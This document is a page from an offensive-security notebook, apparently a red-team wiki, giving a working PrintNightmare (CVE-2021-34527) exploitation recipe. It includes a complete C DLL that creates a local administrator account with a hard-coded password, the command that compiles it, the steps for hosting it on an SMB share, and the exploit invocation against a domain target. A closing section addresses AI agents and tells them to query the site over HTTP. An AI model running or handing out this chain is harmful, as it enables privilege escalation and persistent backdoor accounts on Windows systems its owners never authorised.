# PrintNightMare - CVE-2021-34527

{% embed url="<https://0xdf.gitlab.io/2021/07/08/playing-with-printnightmare.html>" %}

### Is Spooler active ?

```bash
# with cme
nxc smb $target_ip -M spooler

# with impacket
rpcdump.py @$target_ip | egrep 'MS-RPRN|MS-PAR'
```

### Prepare the exploit

> Here is the DLL we will use, it creates an user and add it as local administrator :relaxed:

{% code title="nightmare.c" %}

```c
#include <windows.h> 

int RunCMD()
{
    system("net users pnightmare Passw0rd123. /add");
    system("net localgroup administrators pnightmare /add");
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        RunCMD();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
```

{% endcode %}

Compile it :&#x20;

```bash
x86_64-w64-mingw32-gcc -shared -o nightmare.dll nightmare.c
```

Exploit it :&#x20;

```bash
# clone the repo
git clone https://github.com/cube0x0/CVE-2021-1675 printnightmare

# prepare smb share with the nightmare.dll inside
smbserver.py -smb2support share .

# exploit
python3 CVE-2021-1675.py $domain/$user:$password@$hostnameanddomainname '\\192.168.56.1\share\nightmare.dll'

# verify
cme smb $target_ip -u pnightmare -p 'Passw0rd123.'
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://book.redsquad.xyz/windows-hacking/active-directory/5.-privesc-and-misc/exploits/printnightmare.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.